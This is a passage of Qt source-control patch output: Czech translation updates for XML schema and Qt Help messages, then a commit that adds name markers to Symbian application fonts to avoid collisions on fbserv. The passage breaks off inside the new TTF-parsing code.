             Údaj o datu neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Duration content does not match the maxInclusive facet.
             Údaj o době trvání neodpovídá stránce 'maxInclusive'.
         
         
    -        
             Duration content does not match the maxExclusive facet.
             Údaj o době trvání neodpovídá stránce 'maxExclusive'.
         
         
    -        
             Duration content does not match the minInclusive facet.
             Údaj o době trvání neodpovídá stránce 'minInclusive'.
         
         
    -        
             Duration content does not match the minExclusive facet.
             Údaj o době trvání neodpovídá stránce 'minExclusive'.
         
         
    -        
             Duration content is not listed in the enumeration facet.
             Údaj o době trvání není obsažen ve výčtové stránce.
         
         
    -        
             Duration content does not match pattern facet.
             Údaj o době trvání neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Boolean content does not match pattern facet.
             Booleánská hodnota neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Binary content does not match the length facet.
             Binární obsah neodpovídá stránce délky.
         
         
    -        
             Binary content does not match the minLength facet.
             Binární obsah neodpovídá stránce 'minLength'.
         
         
    -        
             Binary content does not match the maxLength facet.
             Binární obsah neodpovídá stránce 'maxLength'.
         
         
    -        
             Binary content is not listed in the enumeration facet.
             Binární obsah není obsažen ve výčtové stránce.
         
         
    -        
             Invalid QName content: %1.
             Obsah způsobilého názvu ('QName') je neplatný: %1.
         
         
    -        
             QName content is not listed in the enumeration facet.
             Obsah způsobilého názvu ('QName') není obsažen ve výčtové stránce.
         
         
    -        
             QName content does not match pattern facet.
             Obsah způsobilého názvu ('QName') neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Notation content is not listed in the enumeration facet.
             Obsah zápisu není obsažen ve výčtové stránce.
         
         
    -        
             List content does not match length facet.
             Obsah seznamu neodpovídá stránce délky.
         
         
    -        
             List content does not match minLength facet.
             Obsah seznamu neodpovídá stránce 'minLength'.
         
         
    -        
             List content does not match maxLength facet.
             Obsah seznamu neodpovídá stránce 'maxLength'.
         
         
    -        
             List content is not listed in the enumeration facet.
             Obsah seznamu není obsažen ve výčtové stránce.
         
         
    -        
             List content does not match pattern facet.
             Obsah seznamu neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Union content is not listed in the enumeration facet.
             Obsah sjednocení není obsažen ve výčtové stránce.
         
         
    -        
             Union content does not match pattern facet.
             Obsah sjednocení neodpovídá stránce vzoru pro hledání.
         
         
    -        
             Data of type %1 are not allowed to be empty.
             Data typu %1 nemohou být prázdná.
         
         
    -        
             Element %1 is missing child element.
             U prvku %1 chybí podprvek.
         
         
    -        
             There is one IDREF value with no corresponding ID: %1.
             Existuje hodnota IDREF, pro kterou neexistuje příslušné ID: %1.
         
         
    -        
             Loaded schema file is invalid.
             Nahraný soubor se schématem je neplatný.
         
         
    -        
             %1 contains invalid data.
             %1 obsahuje neplatná data.
         
         
    -        
             xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.
             Jmenný prostor xsi:schemaLocation %1 byl již dříve v případovém dokumentu stanoven.
         
         
    -        
             xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.
             xsi:noNamespaceSchemaLocation se nemůže objevit po prvním prvku nebo vlastnosti bez jmenného prostoru.
         
         
    -        
             No schema defined for validation.
             Pro schválení není stanoveno žádné schéma.
         
         
    -        
             No definition for element %1 available.
             Pro prvek %1 není dostupné žádné vymezení.
         
         
    -        
    -        
    -        
             Specified type %1 is not known to the schema.
             Zadaný typ %1 není ve schématu stanoven.
         
         
    -        
             Element %1 is not defined in this scope.
             Prvek %1 není v této oblasti stanoven.
         
         
    -        
             Declaration for element %1 does not exist.
             Pro prvek %1 není dostupné žádné prohlášení.
         
         
    -        
             Element %1 contains invalid content.
             Prvek %1 obsahuje neplatný obsah.
         
         
    -        
             Element %1 is declared as abstract.
             Prvek %1 je prohlášen jako abstraktní.
         
         
    -        
             Element %1 is not nillable.
             Prvek %1 nemá zadánu vlastnost 'nillable'.
         
         
    -        
             Attribute %1 contains invalid data: %2
             Vlastnost %1 obsahuje neplatná data: %2
         
         
    -        
             Element contains content although it is nillable.
             Prvek má obsah, ačkoli je 'nillable'.
         
         
    -        
    -        Fixed value constrained not allowed if element is nillable.
    +        Fixed value constraint not allowed if element is nillable.
             Pevné omezení hodnoty není dovoleno, pokud je prvek 'nillable'.
         
         
    -        
    +        Element %1 cannot contain other elements, as it has a fixed content.
    +        Prvek %1 nesmí obsahovat žádné jiné prvky, protože má pevný obsah.
    +    
    +    
    +        Fixed value constrained not allowed if element is nillable.
    +        Pevné omezení hodnoty není dovoleno, pokud je prvek 'nillable'.
    +    
    +    
             Specified type %1 is not validly substitutable with element type %2.
             Zadaný typ %1 není platně nahraditelný typem prvku %2.
         
         
    -        
             Complex type %1 is not allowed to be abstract.
             Složitý typ %1 nemůže být abstraktní.
         
         
    -        
             Element %1 contains not allowed attributes.
             Prvek %1 obsahuje nepřípustné vlastnosti.
         
         
    -        
    -        
             Element %1 contains not allowed child element.
             Prvek %1 obsahuje nepřípustný podprvek.
         
         
    -        
    -        
             Content of element %1 does not match its type definition: %2.
             Obsah prvku %1 neodpovídá vymezení svého typu: %2.
         
         
    -        
    -        
    -        
             Content of element %1 does not match defined value constraint.
             Obsah prvku %1 neodpovídá stanovenému omezení hodnoty.
         
         
    -        
             Element %1 contains not allowed child content.
             Prvek %1 obsahuje nepřípustný podobsah.
         
         
    -        
             Element %1 contains not allowed text content.
             Prvek %1 obsahuje nepřípustný textový obsah.
         
         
    -        
             Element %1 can not contain other elements, as it has a fixed content.
    -        Prvek %1 nesmí obsahovat žádné podprvky, protože má pevný obsah.
    +        Prvek %1 nesmí obsahovat žádné podprvky, protože má pevný obsah.
         
         
    -        
             Element %1 is missing required attribute %2.
             U prvkuk %1 chybí vyžadovaná vlastnost %2.
         
         
    -        
             Attribute %1 does not match the attribute wildcard.
             Vlastnost %1 neodpovídá zástupnému symbolu (vzoru hledání) vlastnosti.
         
         
    -        
             Declaration for attribute %1 does not exist.
             Pro vlastnost %1 není dostupné žádné prohlášení.
         
         
    -        
             Element %1 contains two attributes of type %2.
             Prvek %1 obsahuje dvě vlastnosti typu %2.
         
         
    -        
             Attribute %1 contains invalid content.
             Vlastnost %1 obsahuje neplatný obsah.
         
         
    -        
             Element %1 contains unknown attribute %2.
             Prvek %1 obsahuje neznámou vlastnost %2.
         
         
    -        
    -        
             Content of attribute %1 does not match its type definition: %2.
             Obsah vlastnosti %1 neodpovídá vymezení svého typu: %2.
         
         
    -        
    -        
             Content of attribute %1 does not match defined value constraint.
             Obsah vlastnosti %1 neodpovídá stanovenému omezení hodnoty.
         
         
    -        
             Non-unique value found for constraint %1.
             Pro omezení %1 byla nalezena ne jednoznačně stanovená hodnota.
         
         
    -        
             Key constraint %1 contains absent fields.
             Omezení klíče %1 obsahuje nepřítomná pole.
         
         
    -        
             Key constraint %1 contains references nillable element %2.
             Omezení klíče %1 obsahuje odkazy na prvek %2, který je 'nillable'.
         
         
    -        
             No referenced value found for key reference %1.
             Odkazovanou hodnotu odkazu na klíč %1 se nepodařilo najít.
         
         
    -        
             More than one value found for field %1.
             Pro pole %1 bylo nalezeno více hodnot.
         
         
    -        
             Field %1 has no simple type.
             Pole %1 nemá žádný jednoduchý typ.
         
         
    -        
             ID value '%1' is not unique.
             Hodnota ID %1 není jednoznačná.
         
         
    -        
             '%1' attribute contains invalid QName content: %2.
             Vlastnost %1 obsahuje neplatný způsobilý název: %2.
         
    diff --git a/translations/qt_help_cs.ts b/translations/qt_help_cs.ts
    old mode 100644
    new mode 100755
    index 15836f1..6e425d6
    --- a/translations/qt_help_cs.ts
    +++ b/translations/qt_help_cs.ts
    @@ -4,80 +4,72 @@
     
         QCLuceneResultWidget
         
    -        
             Search Results
             Výsledky hledání
         
         
    -        
             Note:
             Poznámka:
         
         
    -        
             The search results may not be complete since the documentation is still being indexed!
             Nemusí být ukázány všechny výsledky, protože dokumentace je stále ještě rejstříkována!
         
         
    -        
             Your search did not match any documents.
             Nebyly nalezeny žádné dokumenty, které by odpovídaly vašemu hledání.
         
         
    -        
             (The reason for this might be that the documentation is still being indexed.)
             (Důvodem pro to by mohlo být, že dokumentace je stále ještě rejstříkována.)
         
     
     
    +    QHelp
    +    
    +        Untitled
    +        Bez názvu
    +    
    +
    +
         QHelpCollectionHandler
         
             The collection file is not set up yet!
             Soubor se sbírkou ještě není zřízen!
         
         
    -        
             The collection file '%1' is not set up yet!
             Soubor se sbírkou '%1' ještě není zřízen!
         
         
    -        
             Cannot load sqlite database driver!
             Databázový ovladač pro SQLite nelze nahrát!
         
         
    -        
    -        
             Cannot open collection file: %1
             Nelze otevřít soubor se sbírkou: %1
         
         
    -        
             Cannot create tables in file %1!
             V souboru %1 nelze vytvořit žádné tabulky!
         
         
    -        
             The collection file '%1' already exists!
             Soubor se sbírkou '%1' již existuje!
         
         
    -        
             Unknown filter '%1'!
             Neznámý filtr '%1'!
         
         
    -        
             Invalid documentation file '%1'!
             Neplatný soubor s dokumentací '%1'!
         
         
    -        
             Cannot register namespace '%1'!
             Nelze zapsat jmenný prostor %1!
         
         
    -        
             Cannot open database '%1' to optimize!
             Databázi '%1' nelze otevřít pro vyladění!
         
    @@ -86,12 +78,10 @@
             Zadaný soubor se sbírkou již existuje!
         
         
    -        
             Cannot create directory: %1
             Nelze vytvořit adresář: %1
         
         
    -        
             Cannot copy collection file: %1
             Nelze kopírovat soubor se sbírkou: %1
         
    @@ -100,12 +90,10 @@
             Neznámý filtr!
         
         
    -        
             Cannot register filter %1!
             Nelze zapsat filtr %1!
         
         
    -        
             Cannot open documentation file %1!
             Nelze otevřít soubor s dokumentací: %1!
         
    @@ -114,12 +102,10 @@
             Neplatný soubor s dokumentací!
         
         
    -        
             The namespace %1 was not registered!
             Jmenný prostor %1 nebyl zapsán!
         
         
    -        
             Namespace %1 already exists!
             Jmenný prostor %1 již existuje!
         
    @@ -135,7 +121,6 @@
     
         QHelpDBReader
         
    -        
             Cannot open database '%1' '%2': %3
             The placeholders are: %1 - The name of the database which cannot be opened %2 - The unique id for the connection %3 - The actual error string
             Databázi nelze otevřít: '%1' '%2': %3
    @@ -144,7 +129,10 @@
     
         QHelpEngineCore
         
    -        
    +        Cannot open documentation file %1: %2!
    +        Nelze otevřít soubor s dokumentací %1: %2!
    +    
    +    
             The specified namespace does not exist!
             Zadaný jmenný prostor neexistuje!
         
    @@ -152,181 +140,210 @@
     
         QHelpEngineCorePrivate
         
    -        
             Cannot open documentation file %1: %2!
    -        Nelze otevřít soubor s dokumentací %1: %2!
    +        Nelze otevřít soubor s dokumentací %1: %2!
         
     
     
         QHelpGenerator
         
    -        
             Invalid help data!
             Neplatná data s nápovědou!
         
         
    -        
             No output file name specified!
             Pro výstupní soubor nebyl zadán žádný název!
         
         
    -        
             Building up file structure...
             Vytváří se uspořádání souboru...
         
         
    -        
             The file %1 cannot be overwritten!
             Soubor %1 nelze přepsat!
         
         
    -        
             Cannot open data base file %1!
             Nelze otevřít soubor s databází: %1!
         
         
    -        
             Cannot register namespace %1!
             Nelze zapsat jmenný prostor %1!
         
         
    -        
             Insert custom filters...
             Vložit uživatelsky stanovené filtry...
         
         
    -        
             Insert help data for filter section (%1 of %2)...
             Vložit data s nápovědou pro oddělení s filtrem (%1 von %2) einfügen...
         
         
    -        
             Documentation successfully generated.
             Dokumentace byla úspěšně vytvořena.
         
         
    -        
             Some tables already exist!
             Některé tabulky již existují!
         
         
    -        
             Cannot create tables!
             Tabulky nelze vytvořit!
         
         
    -        
             Cannot register virtual folder!
             Virtuální adresář nelze zapsat!
         
         
    -        
             Insert files...
             Vložit soubory...
         
         
    -        
             The referenced file %1 must be inside or within a subdirectory of (%2). Skipping it.
             Odkazovaný soubor %1 se musí nacházet v adresáři %2 nebo v jeho podadresáři. Přeskakuje se.
         
         
    -        
             The file %1 does not exist! Skipping it.
             Soubor %1 neexistuje! Přeskakuje se.
         
         
    -        
             Cannot open file %1! Skipping it.
             Soubor %1 nelze otevřít! Přeskakuje se.
         
         
    -        
             The filter %1 is already registered!
             Filtr %1 je již zapsán!
         
         
    -        
             Cannot register filter %1!
             Nelze zapsat filtr %1!
         
         
    -        
             Insert indices...
             Vložit rejstříky...
         
         
    -        
             Insert contents...
             Vložit obsah...
         
         
    -        
             Cannot insert contents!
             Obsah nelze vložit!
         
         
    -        
             Cannot register contents!
             Obsah nelze zapsat!
         
    +    
    +        File '%1' does not exist.
    +        Soubor '%1' neexistuje.
    +    
    +    
    +        File '%1' cannot be opened.
    +        Soubor '%1' nelze otevřít.
    +    
    +    
    +        File '%1' contains an invalid link to file '%2'
    +        Soubor '%1' obsahuje neplatný odkaz na soubor '%2'
    +    
    +    
    +        Invalid links in HTML files.
    +        Neplatné odkazy v souborech HTML.
    +    
    +
    +
    +    QHelpProject
    +    
    +        Unknown token.
    +        Neznámý symbol.
    +    
    +    
    +        Unknown token. Expected "QtHelpProject"!
    +        Neznámý symbol. Byl očekáván "QtHelpProject"!
    +    
    +    
    +        Error in line %1: %2
    +        Chyba na řádku %1: %2
    +    
    +    
    +        Virtual folder has invalid syntax.
    +        Virtuální složka má neplatnou skladbu.
    +    
    +    
    +        Namespace has invalid syntax.
    +        Jmenný prostor má neplatnou skladbu.
    +    
    +    
    +        Missing namespace in QtHelpProject.
    +        Chybějící jmenný prostor QtHelpProject.
    +    
    +    
    +        Missing virtual folder in QtHelpProject
    +        Chybějící virtuální složka v QtHelpProject.
    +    
    +    
    +        Missing attribute in keyword at line %1.
    +        Chybějící vlastnost v klíčovém slově na řádku %1.
    +    
    +    
    +        The input file %1 could not be opened!
    +        Vstupní soubor %1 se nepodařilo otevřít!
    +    
     
     
         QHelpSearchQueryWidget
         
    -        
             Search for:
             Hledat:
         
         
    -        
             Previous search
             Předchozí hledání
         
         
    -        
             Next search
             Další hledání
         
         
    -        
             Search
             Hledat
         
         
    -        
             Advanced search
             Rozšířené hledání
         
         
    -        
             words <B>similar</B> to:
             Slova <B>podobná</B>:
         
         
    -        
             <B>without</B> the words:
             <B>beze</B> slov:
         
         
    -        
             with <B>exact phrase</B>:
             s <B>přesnou skupinou slov</B>:
         
         
    -        
             with <B>all</B> of the words:
             se <B>všemi</B> slovy:
         
         
    -        
             with <B>at least one</B> of the words:
             s <B>jakýmkoli</B> ze slov:
         
     
     
         QHelpSearchResultWidget
    +    
    +        %1 - %2 of %n Hits
    +        
    +            %1 - %2 - jeden zásah
    +            %1 - %2 ze %n zásahů
    +            %1 - %2 z %n zásahů
    +        
    +    
         
    -        
             0 - 0 of 0 Hits
             0 - 0 z 0 zásahů
         
    @@ -334,62 +351,51 @@
     
         QHelpSearchResultWidgetPrivate
         
    -        
             %1 - %2 of %3 Hits
    -        %1 - %2 z %3 zásahů
    +        %1 - %2 z %3 zásahů
         
     
     
         QObject
         
    -        
             Untitled
    -        Bez názvu
    +        Bez názvu
         
         
    -        
             Unknown token.
    -        Neznámý symbol.
    +        Neznámý symbol.
         
         
    -        
             Unknown token. Expected "QtHelpProject"!
    -        Neznámý symbol. Byl očekáván "QtHelpProject"!
    +        Neznámý symbol. Byl očekáván "QtHelpProject"!
         
         
    -        
             Error in line %1: %2
    -        Chyba na řádku %1: %2
    +        Chyba na řádku %1: %2
         
         
    -        
             A virtual folder must not contain a '/' character!
    -        Virtuální složka nesmí obsahovat znak '/'!
    +        Virtuální složka nesmí obsahovat znak '/'!
         
         
    -        
             A namespace must not contain a '/' character!
    -        Jmenný prostor nesmí obsahovat znak '/'!
    +        Jmenný prostor nesmí obsahovat znak '/'!
         
         
    -        
             Missing namespace in QtHelpProject.
    -        Chybějící jmenný prostor QtHelpProject.
    +        Chybějící jmenný prostor QtHelpProject.
         
         
    -        
             Missing virtual folder in QtHelpProject
    -        Chybějící virtuální složka v QtHelpProject.
    +        Chybějící virtuální složka v QtHelpProject.
         
         
    -        
             Missing attribute in keyword at line %1.
    -        Chybějící vlastnost v klíčovém slově na řádku %1.
    +        Chybějící vlastnost v klíčovém slově na řádku %1.
         
         
    -        
             The input file %1 could not be opened!
    -        Vstupní soubor %1 se nepodařilo otevřít!
    +        Vstupní soubor %1 se nepodařilo otevřít!
         
     
     
    -- 
    cgit v0.12
    
    
    From cfb7c16d738993fc8a594361f4bdf10e24fa754a Mon Sep 17 00:00:00 2001
    From: Alessandro Portale 
    Date: Mon, 24 Jan 2011 21:43:03 +0100
    Subject: Avoid possible font name collisions on fbserv
    
    QTBUG-6611 implemented the long awaited app font support on Symbian. One
    of the problems with the underlying Symbian Api for font loading is that
    all fonts go into one system wide font store on fbserv. All fonts are
    visible to and accessible by every application. And there is no way to
    find out if a font is an app font and whose process' app font it is. If
    a font with a certain family name is already loaded on fbserv, no other
    application can load its font with the same family name. If two
    applications access the same font, bad things can happen (details:
    QTBUG-16514).
    
    This patch works around naming collisions on the fbserv. It also
    prevents Qt applications from using other Qt applications' app fonts. It
    does so by "marking" the name of the temporary ttf file before the file
    gets loaded by fbserv. All font name strings in the font's 'name' table
    get a marker string appended. The marker is composed by a "Q", the uid3,
    and on Symbian^3|PR1&below the pid. The marker length is four characters.
    When the QFontDatabase is populated, all own app font names are cleand
    from the marker, so that the Qt app can use the original font name. Other
    applications' app fonts are detected and filtered out of the own font
    database.
    
    Symbian's font Api supports only 24 characters as names for font
    families. The name marker reduces the effective characters to 20. The
    reduced name length is documented for
    QFontDatabase::addApplication[FontFromData] as a note.
    
    Since the app font feature is much safer now, it got re-enabled for
    Symbian^1 and below by reverting
    25ac59fcf1bb03c9af9a2c967218c96c7c77361a .
    
    Task-number: QTBUG-16514
    ---
     src/gui/text/qfontdatabase.cpp     |   4 +
     src/gui/text/qfontdatabase_s60.cpp | 357 ++++++++++++++++++++++++++++++++++---
     src/gui/text/qfontengine_s60.cpp   |   5 +-
     3 files changed, 343 insertions(+), 23 deletions(-)
    
    diff --git a/src/gui/text/qfontdatabase.cpp b/src/gui/text/qfontdatabase.cpp
    index 637957d..6b612eb 100644
    --- a/src/gui/text/qfontdatabase.cpp
    +++ b/src/gui/text/qfontdatabase.cpp
    @@ -2543,6 +2543,8 @@ bool QFontDatabasePrivate::isApplicationFont(const QString &fileName)
         \note Adding application fonts on Unix/X11 platforms without fontconfig is
         currently not supported.
     
    +    \note On Symbian, the font family names get truncated to a length of 20 characters.
    +
         \sa addApplicationFontFromData(), applicationFontFamilies(), removeApplicationFont()
     */
     int QFontDatabase::addApplicationFont(const QString &fileName)
    @@ -2573,6 +2575,8 @@ int QFontDatabase::addApplicationFont(const QString &fileName)
         \bold{Note:} Adding application fonts on Unix/X11 platforms without fontconfig is
         currently not supported.
     
    +    \note On Symbian, the font family names get truncated to a length of 20 characters.
    +
         \sa addApplicationFont(), applicationFontFamilies(), removeApplicationFont()
     */
     int QFontDatabase::addApplicationFontFromData(const QByteArray &fontData)
    diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
    index 06462c4..ad67189 100644
    --- a/src/gui/text/qfontdatabase_s60.cpp
    +++ b/src/gui/text/qfontdatabase_s60.cpp
    @@ -46,6 +46,7 @@
     #include "qabstractfileengine.h"
     #include "qdesktopservices.h"
     #include "qtemporaryfile.h"
    +#include "qtextcodec.h"
     #include 
     #include 
     #include "qendian.h"
    @@ -152,10 +153,11 @@ public:
         mutable QList m_extras;
     
         mutable QHash m_extrasHash;
    +    mutable QSet m_applicationFontFamilies;
     };
     
     const QString QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix =
    -        QLatin1String("qaf");
    +        QLatin1String("Q");
     
     inline QString QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
     {
    @@ -166,21 +168,60 @@ QString QSymbianFontDatabaseExtrasImplementation::appFontMarker()
     {
         static QString result;
         if (result.isEmpty()) {
    -        const quint32 uid = RProcess().Type().MostDerived().iUid;
    -        quint16 crossSum = static_cast(uid + (uid >> 16));
    -        if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
    +        quint16 id = 0;
    +        if (QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
    +            // We are allowed to load app fonts even from previous, crashed runs
    +            // of this application, since we can access the font tables.
    +            const quint32 uid = RProcess().Type().MostDerived().iUid;
    +            id = static_cast(uid + (uid >> 16));
    +        } else {
                 // If no font table Api is available, we must not even load a font
                 // from a previous (crashed) run of this application. Reason: we
                 // won't get the font tables, they are not in the CFontStore.
    -            // So, we add the pid to the uniqueness of the marker.
    -            const quint32 pid = static_cast(RProcess().Id().Id());
    -            crossSum += static_cast(pid + (pid >> 16));
    +            // So, we use the pid, for more uniqueness.
    +            id = static_cast(RProcess().Id().Id());
             }
    -        result = appFontMarkerPrefix + QString::number(crossSum, 16);
    +        result = appFontMarkerPrefix + QString::fromLatin1("%1").arg(id & 0x7fff, 3, 32, QLatin1Char('0'));
    +        Q_ASSERT(appFontMarkerPrefix.length() == 1 && result.length() == 4);
         }
         return result;
     }
     
    +static inline bool qt_symbian_fontNameHasAppFontMarker(const QString &fontName)
    +{
    +    const int idLength = 3; // Keep in sync with id length in appFontMarker().
    +    const QString &prefix = QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix;
    +    if (fontName.length() < prefix.length() + idLength
    +            || fontName.mid(fontName.length() - idLength - prefix.length(), prefix.length()) != prefix)
    +        return false;
    +    // Testing if the the id is base32 data
    +    for (int i = fontName.length() - idLength; i < fontName.length(); ++i) {
    +        const QChar &c = fontName.at(i);
    +        if (!(c >= QLatin1Char('0') && c <= QLatin1Char('9')
    +              || c >= QLatin1Char('a') && c <= QLatin1Char('v')))
    +            return false;
    +    }
    +    return true;
    +}
    +
    +// If fontName is an application font of this app, prepend the app font marker
    +QString qt_symbian_fontNameWithAppFontMarker(const QString &fontName)
    +{
    +    QFontDatabasePrivate *db = privateDb();
    +    Q_ASSERT(db);
    +    const QSymbianFontDatabaseExtrasImplementation *dbExtras =
    +            static_cast(db->symbianExtras);
    +    return dbExtras->m_applicationFontFamilies.contains(fontName) ?
    +                fontName + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
    +              : fontName;
    +}
    +
    +static inline QString qt_symbian_appFontNameWithoutMarker(const QString &markedFontName)
    +{
    +    return markedFontName.left(markedFontName.length()
    +                               - QSymbianFontDatabaseExtrasImplementation::appFontMarker().length());
    +}
    +
     QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementation()
     {
         if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
    @@ -276,9 +317,10 @@ COpenFont* OpenFontFromBitmapFont(const CBitmapFont* aBitmapFont)
     }
     #endif // FNTSTORE_H_INLINES_SUPPORT_FMM
     
    -const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(const QString &typeface,
    +const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(const QString &aTypeface,
                                                                                    bool bold, bool italic) const
     {
    +    const QString typeface = qt_symbian_fontNameWithAppFontMarker(aTypeface);
         const QString searchKey = typeface + QString::number(int(bold)) + QString::number(int(italic));
         if (!m_extrasHash.contains(searchKey)) {
             TFontSpec searchSpec(qt_QString2TPtrC(typeface), 1);
    @@ -331,6 +373,8 @@ void QSymbianFontDatabaseExtrasImplementation::removeAppFontData(
         if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()
                 && fnt->fontStoreFontFileUid.iUid != 0)
             m_store->RemoveFile(fnt->fontStoreFontFileUid);
    +    if (!fnt->families.isEmpty())
    +        m_applicationFontFamilies.remove(fnt->families.first());
         if (fnt->screenDeviceFontFileId != 0)
             S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId);
         QFile::remove(fnt->temporaryFileName);
    @@ -425,6 +469,18 @@ static bool registerScreenDeviceFont(int screenDeviceFontIndex,
     {
         TTypefaceSupport typefaceSupport;
             S60->screenDevice()->TypefaceSupport(typefaceSupport, screenDeviceFontIndex);
    +
    +    QString familyName((const QChar*)typefaceSupport.iTypeface.iName.Ptr(), typefaceSupport.iTypeface.iName.Length());
    +    if (qt_symbian_fontNameHasAppFontMarker(familyName)) {
    +        const QString &marker = QSymbianFontDatabaseExtrasImplementation::appFontMarker();
    +        if (familyName.endsWith(marker)) {
    +            familyName = qt_symbian_appFontNameWithoutMarker(familyName);
    +            dbExtras->m_applicationFontFamilies.insert(familyName);
    +        } else {
    +            return false; // This was somebody else's application font. Skip it.
    +        }
    +    }
    +
         CFont *font; // We have to get a font instance in order to know all the details
         TFontSpec fontSpec(typefaceSupport.iTypeface.iName, 11);
         if (S60->screenDevice()->GetNearestFontInPixels(font, fontSpec) != KErrNone)
    @@ -440,7 +496,6 @@ static bool registerScreenDeviceFont(int screenDeviceFontIndex,
         styleKey.style = faceAttrib.IsItalic()?QFont::StyleItalic:QFont::StyleNormal;
         styleKey.weight = faceAttrib.IsBold()?QFont::Bold:QFont::Normal;
     
    -    QString familyName((const QChar *)typefaceSupport.iTypeface.iName.Ptr(), typefaceSupport.iTypeface.iName.Length());
         QtFontFamily *family = privateDb()->family(familyName, true);
         family->fixedPitch = faceAttrib.IsMonoWidth();
         QtFontFoundry *foundry = family->foundry(QString(), true);
    @@ -515,14 +570,268 @@ static inline void load(const QString &family = QString(), int script = -1)
         initializeDb();
     }
     
    -static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
    +struct OffsetTable {
    +    quint32 sfntVersion;
    +    quint16 numTables, searchRange, entrySelector, rangeShift;
    +};
    +
    +struct TableRecord {
    +    quint32 tag, checkSum, offset, length;
    +};
    +
    +struct NameTableHead {
    +    quint16 format, count, stringOffset;
    +};
    +
    +struct NameRecord {
    +    quint16 platformID, encodingID, languageID, nameID, length, offset;
    +};
    +
    +static quint32 ttfCalcChecksum(const char *data, quint32 bytesCount)
    +{
    +    quint32 result = 0;
    +    const quint32 *ptr = reinterpret_cast(data);
    +    const quint32 *endPtr =
    +            ptr + (bytesCount + sizeof(quint32) - 1) / sizeof(quint32);
    +    while (ptr < endPtr) {
    +        const quint32 unit32Value = *ptr++;
    +        result += qFromBigEndian(unit32Value);
    +    }
    +    return result;
    +}
    +
    +static inline quint32 toDWordBoundary(quint32 value)
    +{
    +    return (value + 3) & ~3;
    +}
    +
    +static inline quint32 dWordPadding(quint32 value)
    +{
    +    return (4 - (value & 3)) & 3;
    +}
    +
    +static inline bool ttfMarkNameTable(QByteArray &table, const QString &marker)
    +{
    +    const quint32 tableLength = static_cast(table.size());
    +
    +    if (tableLength > 50000 // hard limit
    +            || tableLength < sizeof(NameTableHead)) // corrupt name table
    +        return false;
    +
    +    const NameTableHead *head = reinterpret_cast(table.constData());
    +    const quint16 count = qFromBigEndian(head->count);
    +    const quint16 stringOffset = qFromBigEndian(head->stringOffset);
    +    if (count > 200 // hard limit
    +            || stringOffset >= tableLength // corrupt name table
    +            || sizeof(NameTableHead) + count * sizeof(NameRecord) >= tableLength) // corrupt name table
    +        return false;
    +
    +    QTextEncoder encoder(QTextCodec::codecForName("UTF-16BE"), QTextCodec::IgnoreHeader);
    +    const QByteArray markerUtf16BE = encoder.fromUnicode(marker);
    +    const QByteArray markerAscii = marker.toAscii();
    +
    +    QByteArray markedTable;
    +    markedTable.reserve(tableLength + marker.length() * 20); // Original size plus some extra
    +    markedTable.append(table, stringOffset);
    +    QByteArray markedStrings;
    +    quint32 stringDataCount = stringOffset;
    +    for (quint16 i = 0; i < count; ++i) {
    +        const quint32 nameRecordOffset = sizeof(NameTableHead) + sizeof(NameRecord) * i;
    +        NameRecord *nameRecord =
    +                reinterpret_cast(markedTable.data() + nameRecordOffset);
    +        const quint16 nameID = qFromBigEndian(nameRecord->nameID);
    +        const quint16 platformID = qFromBigEndian(nameRecord->platformID);
    +        const quint16 encodingID = qFromBigEndian(nameRecord->encodingID);
    +        const quint16 offset = qFromBigEndian(nameRecord->offset);
    +        const quint16 length = qFromBigEndian(nameRecord->length);
    +        stringDataCount += length;
    +        if (stringDataCount > 80000 // hard limit. String data may be > name table size. Multiple records can reference the same string.
    +                || static_cast(stringOffset + offset + length) > tableLength) // String outside bounds
    +            return false;
    +        const bool needsMarker =
    +                nameID == 1 || nameID == 3 || nameID == 4 || nameID == 16 || nameID == 21;
    +        const bool isUnicode =
    +                platformID == 0 || platformID == 3 && encodingID == 1;
    +        const QByteArray originalString =
    +                QByteArray::fromRawData(table.constData() + stringOffset + offset, length);
    +        QByteArray markedString;
    +        if (needsMarker) {
    +            const int maxBytesLength = (KMaxTypefaceNameLength - marker.length()) * (isUnicode ? 2 : 1);
    +            markedString = originalString.left(maxBytesLength) + (isUnicode ? markerUtf16BE : markerAscii);
    +        } else {
    +            markedString = originalString;
    +        }
    +        nameRecord->offset = qToBigEndian(static_cast(markedStrings.length()));
    +        nameRecord->length = qToBigEndian(static_cast(markedString.length()));
    +        markedStrings.append(markedString);
    +    }
    +    markedTable.append(markedStrings);
    +    table = markedTable;
    +    return true;
    +}
    +
    +const quint32 ttfMaxFileSize = 3500000;
    +
    +static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
     {
    -    if (QSysInfo::symbianVersion() <= QSysInfo::SV_SF_2)
    -        return; // See QTBUG-16514 for what 'font collisions' can cause in Symbian^1 and lower
    +    const quint32 ttfChecksumNumber = 0xb1b0afba;
    +    const quint32 alignment = 4;
    +    const quint32 ttfLength = static_cast(ttf.size());
    +    if (ttfLength > ttfMaxFileSize // hard limit
    +            || ttfLength % alignment != 0 // ttf sizes are always factors of 4
    +            || ttfLength <= sizeof(OffsetTable) // ttf too short
    +            || ttfCalcChecksum(ttf.constData(), ttf.size()) != ttfChecksumNumber) // ttf checksum is invalid
    +        return false;
    +
    +    const OffsetTable *offsetTable = reinterpret_cast(ttf.constData());
    +    const quint16 numTables = qFromBigEndian(offsetTable->numTables);
    +    const quint32 recordsLength =
